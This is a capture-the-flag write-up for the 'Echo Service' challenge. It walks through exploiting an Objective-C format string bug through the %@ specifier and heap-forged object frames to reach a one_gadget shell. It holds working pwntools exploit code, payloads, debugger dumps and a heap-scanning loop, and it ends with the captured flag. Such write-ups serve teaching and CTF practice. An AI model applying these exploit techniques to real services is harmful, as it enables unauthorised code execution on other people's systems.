Echo Service (400) - 11 solves
No %n for you nc echo.stillhackinganyway.nl 1337
Attachment: echoservice libc.so.6 xpl.py
At first glance, this binary is exactly what it’s name tells us: an echoservice.
$ ./echoservice
AAAABBBB
2017-08-06 19:53:00.132 echoservice[13577:13577] AAAABBBB
%p.%p.%p.%p
2017-08-06 19:53:09.371 echoservice[13577:13577] (null).(null).0x55555593c9c0.0x55555593c6c0
%10$n
2017-08-06 19:54:37.983 echoservice[13577:13577] %n is for n00bs! Let's see how you do without it...
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
So, it seems to be vulnerable to format string attacks, but like the challenge description already stated, we won’t be able to use %n
.
Ok, this might get interesting. But for a start, just let’s use the format string in the casual manner to leak some addresses. Since PIE and ASLR is active, we’ll sure need some later on.
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "echo.stillhackinganyway.nl"
PORT = 1337
def readValue(param):
global PARAMOFF
r.sendline("%%%d$p" % (param))
r.recvuntil("]")
LEAK = int(r.recvline().strip(), 16)
return LEAK
def exploit(r):
log.info("Leak PIE address")
PIELEAK = readValue(6)
PIE = PIELEAK - 0x2023a0
log.info("Leak LIBC address")
LIBCLEAK = readValue(1)
LIBC = LIBCLEAK - 0x3c4b40
BINSH = LIBC + 0x18cd17
log.info("Leak HEAP address")
HEAPLEAK = readValue(4)
log.info("PIE leak : %s" % hex(PIELEAK))
log.info("PIE base : %s" % hex(PIE))
log.info("LIBC leak : %s" % hex(LIBCLEAK))
log.info("LIBC base : %s" % hex(LIBC))
log.info("HEAP leak : %s" % hex(HEAPLEAK))
if __name__ == "__main__":
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
exploit(r)
else:
LOCAL = True
r = process("/echoservice", env={"LD_PRELOAD":"./libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
$ python xpl.py 1
[+] Opening connection to echo.stillhackinganyway.nl on port 1337: Done
[*] Leak PIE address
[*] Leak LIBC address
[*] Leak HEAP address
[*] PIE leak : 0x55ae73fee3a0
[*] PIE base : 0x55ae73dec000
[*] LIBC leak : 0x7f3715bd3b40
[*] LIBC base : 0x7f371580f000
[*] HEAP leak : 0x55ae75afce90
Ok, with this out of way… How can this be exploitable without being able to overflow a buffer or using %n
.
Well, that stumped me a while, but after reversing the binary, the idea arose, that this might have something to do with the objective c
implementation for format strings.
And yes, they added an additional format string parameter : %@
From the apple developer reference:
%@
Objective-C object, printed as the string returned by descriptionWithLocale: if available, or description otherwise.
Also works with CFTypeRef objects, returning the result of the CFCopyDescription function.
Let’s give it a try.
$ ./echoservice
%13$p AAAABBBB
2017-08-06 20:17:30.465 echoservice[20474:20474] 0x4242424241414141 AAAABBBB
%13$@ AAAABBBB
Segmentation fault
Well, doesn’t this look intriguing?
Analyzing it in gdb
, shows, that it breaks in objc_msg_lookup
trying to dereference our input string and stuffing it into rbp
RAX: 0xc0
RBX: 0x0
RCX: 0x7fffffffc570 --> 0x9203d20f7dd3b40
RDX: 0x0
RSI: 0x7ffff7901990 --> 0x1300000003
RDI: 0x4242424241414141 ('AAAABBBB')
RBP: 0x7fffffffd6f0 --> 0x7fffffffe790 --> 0x5555557d8fb0 --> 0x7ffff790fa00 --> 0x7ffff790fc40 --> 0x7ffff72129e0 (0x00007ffff72129e0)
RSP: 0x7fffffffc530 ("ng = \t\t\"")
RIP: 0x7ffff7008b63 --> 0x8b48068b482f8b48
R8 : 0x0
R9 : 0x1e
R10: 0x20 (' ')
R11: 0x0
R12: 0xffffffffffffffff
R13: 0x4242424241414141 ('AAAABBBB')
R14: 0x7fffffffc6a0 --> 0xffffffff
R15: 0x7fffffffd700 --> 0x7ffff79110c0 --> 0x7ffff79116e0 --> 0x7ffff72129e0 (0x00007ffff72129e0)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7008b5d <objc_msg_lookup+13>: push rbp
0x7ffff7008b5e <objc_msg_lookup+14>: push rbx
0x7ffff7008b5f <objc_msg_lookup+15>: sub rsp,0x8
=> 0x7ffff7008b63 <objc_msg_lookup+19>: mov rbp,QWORD PTR [rdi]
0x7ffff7008b66 <objc_msg_lookup+22>: mov rax,QWORD PTR [rsi]
0x7ffff7008b69 <objc_msg_lookup+25>: mov rdx,QWORD PTR [rbp+0x40]
0x7ffff7008b6d <objc_msg_lookup+29>: mov r8d,eax
0x7ffff7008b70 <objc_msg_lookup+32>: mov rcx,rax
Since we control rdi
, we can also control the value rbp
will get. Let’s start forging a frame for setting the registers.
Searching our input string on the heap and calculating it’s offset from the leaked heap address gives us a base address to work with.
From here on, it’s just some debugging work, finding the correct offsets for our variables and build a frame on the heap, so that the registers get overwritten with the correct pointers.
HEAPBASE = HEAPLEAK - 0x93cc8
payload = "%13$@ "
payload += p64(HEAPBASE + 0x8) # RDI
payload += p64(HEAPBASE + 0x10) # RBP
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"
Let’s highlight the interesting parts from objc_msg_lookup
, which will get called in one print call
0x7ffff7008b63 <objc_msg_lookup+19>: mov rbp,QWORD PTR [rdi]
0x7ffff7008b66 <objc_msg_lookup+22>: mov rax,QWORD PTR [rsi]
0x7ffff7008b69 <objc_msg_lookup+25>: mov rdx,QWORD PTR [rbp+0x40]
Again, since we control rdi
, we control from where rbp
gets filled. We aren’t able to influence rax
at this point, but rdx
gets filled from rbp+0x40
, so we’ll be able to control the value for rdx
also.
[----------------------------------registers-----------------------------------]
RAX: 0x3
RCX: 0x13
[-------------------------------------code-------------------------------------]
0x7ffff7008ba0 <objc_msg_lookup+80>: mov r8,QWORD PTR [rdx]
0x7ffff7008ba3 <objc_msg_lookup+83>: mov eax,eax
=> 0x7ffff7008ba5 <objc_msg_lookup+85>: mov rax,QWORD PTR [r8+rax*8]
0x7ffff7008ba9 <objc_msg_lookup+89>: mov rax,QWORD PTR [rax+rcx*8]
And here it goes on. Since we control rdx
we control r8
. rax
will be 0x3
and rcx
will be 0x13
at this point.
By knowing this and controlling r8
, we’re also controlling rax
…
And now something beautiful happens :)
[----------------------------------registers-----------------------------------]
RAX: 0xdeadbeef
RBX: 0x0
RCX: 0x13
RDX: 0x7ffff7901980 --> 0x1c00000006
RSI: 0x7ffff7901990 --> 0x1300000003
RDI: 0x55555582c470 --> 0x55555582c478 ('A' <repeats 64 times>, "\300ĂUUU")
RBP: 0x7fffffffd6f0 --> 0x7fffffffe790 --> 0x5555557d8fb0 --> 0x7ffff790fa00 --> 0x7ffff790fc40 --> 0x7ffff72129e0 (0x00007ffff72129e0)
RSP: 0x7fffffffc570 --> 0x9203d20f7dd3b40
RIP: 0x7ffff7398871 --> 0x1565840fc084
R8 : 0x55555582c4c8 ('B' <repeats 24 times>, "hĂUUU")
R9 : 0x1e
R10: 0x20 (' ')
R11: 0x0
R12: 0xffffffffffffffff
R13: 0x55555582c470 --> 0x55555582c478 ('A' <repeats 64 times>, "\300ĂUUU")
R14: 0x7fffffffc6a0 --> 0xffffffff
R15: 0x7fffffffd700 --> 0x7ffff79110c0 --> 0x7ffff79116e0 --> 0x7ffff72129e0 (0x00007ffff72129e0)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7398865: lea rsi,[rip+0x569124] # 0x7ffff7901990
0x7ffff739886c: mov rdi,r13
=> 0x7ffff739886f: call rax
0x7ffff7398871: test al,al
0x7ffff7398873: je 0x7ffff7399dde
0x7ffff7398879: lea rsi,[rip+0x569120] # 0x7ffff79019a0
0x7ffff7398880: mov rdi,r13
0x7ffff7398883: call 0x7ffff73820a0
[------------------------------------stack-------------------------------------]
Calling rax
…
Though we cannot overwrite an specific address in memory like we would have done with %n
, but that shiny new format string parameter allows us to call a function instead.
So our payload for setting up a frame to get to this call looks like this:
payload = "%13$@ "
payload += p64(HEAPBASE + 0x8) # RDI
payload += p64(HEAPBASE + 0x10) # RBP
payload += "A"*64
payload += p64(HEAPBASE + 0x58) # RDX
payload += p64(HEAPBASE + 0x60) # R8
payload += "B"*24
payload += p64(HEAPBASE) # RAX
payload += "A"*24
payload += p64(0xdeadbeef) # RIP
We should be able to use a magic gadget now to trigger a shell. On my local machine, none of the constraints for one_gadget
could be satisfied, since my stack was filled with junk.
I just added a call to the function, which reads our input, thus creating a new stack frame and now successfully executing the magic gadget.
ONE = LIBC + 0x4526a
CALLREAD = PIE + 0xF92
log.info("Calling read function to create new stack frame")
payload = "%13$@ "
payload += p64(HEAPBASE + 0x8) # RDI
payload += p64(HEAPBASE + 0x10) # RBP
payload += "A"*64
payload += p64(HEAPBASE + 0x58) # RDX
payload += p64(HEAPBASE + 0x60) # R8
payload += "B"*24
payload += p64(HEAPBASE) # RAX
payload += "A"*24
payload += p64(CALLREAD) # RIP
r.sendline(payload)
log.info("Calling one gadget to trigger shell")
payload = "%13$@ "
payload += p64(HEAPBASE + 0x8) # RDI
payload += p64(HEAPBASE + 0x10) # RBP
payload += "A"*64
payload += p64(HEAPBASE + 0x58) # RDX
payload += p64(HEAPBASE + 0x60) # R8
payload += "B"*24
payload += p64(HEAPBASE) # RAX
payload += "A"*24
payload += p64(ONE) # RIP
r.sendline(payload)
$ python xpl.py
[+] Starting local process '/echoservice': pid 5602
[5602]
[*] Paused (press any to continue)
[*] Leak PIE address
[*] Leak LIBC address
[*] Leak HEAP address
[*] PIE leak : 0x5555557563a0
[*] PIE base : 0x555555554000
[*] LIBC leak : 0x7ffff7dd3b40
[*] LIBC base : 0x7ffff7a0f000
[*] HEAP leak : 0x5555558c0130
[*] HEAP base : 0x55555582c468
[*] Calling read function to create new stack frame
[*] Calling one gadget to trigger shell
[*] Switching to interactive mode
$ whoami
kileak
A local shell popping up… Victory within reach… But… remote service says no
=(
This took me quite a while to fix. It turned out, that the heap structure on the remote machine was different, and so our frame on the heap wasn’t stored at the same offset from the leaked heap address.
In despair, I wrote a “heap scanner
”, putting 1000 A
’s on the heap, and tried to find them with %13$s
for i in range(1000, 2000):
payload = "%13$s "
payload += p64(HEAPLEAK - (i*1000))
payload += "A"*1000
r.sendline(payload)
resp = r.recvline()
if "AAA" in resp:
print "Found payload at: %d" % i
break
Not a very clean method, but with this, I was able to find the payload on the heap again. Whilst becoming desparate, not getting the exploit working, I also had rearranged the frame.
Resulting in this final payload:
ONE = LIBC + 0x4526a
HEAPBASE = HEAPLEAK - (1139*1000)-72
payload = "%13$@ "
payload += p64(HEAPBASE+0x28) # RDI
payload += "A"*(8*5)
payload += p64(HEAPBASE+0x20) # RBP
payload += "B"*48
payload += p64(HEAPBASE+0x76) # RDX
payload += "A"*14
payload += p64(HEAPBASE+0x76) # R8
payload += "B"*16
payload += p64(HEAPBASE+0x20) # RAX
payload += "CC"
payload += p64(ONE)*5 # RIP
r.sendline(payload)
r.sendline("cat flag")
r.interactive()
$ python xpl.py 1
[+] Opening connection to echo.stillhackinganyway.nl on port 1337: Done
[*] Leak PIE address
[*] Leak LIBC address
[*] Leak HEAP address
[*] PIE leak : 0x5629f62f43a0
[*] PIE base : 0x5629f60f2000
[*] LIBC leak : 0x7f3b7bfe8b40
[*] LIBC base : 0x7f3b7bc24000
[*] HEAP leak : 0x5629f680ce90
[*] HEAP base : 0x5629f67791f0
[*] Calling read function to create new stack frame
[*] Switching to interactive mode
flag{32ee124c49e3de4555b0f1c063539ef0}
Quite a ride, but really enjoyed this challenge…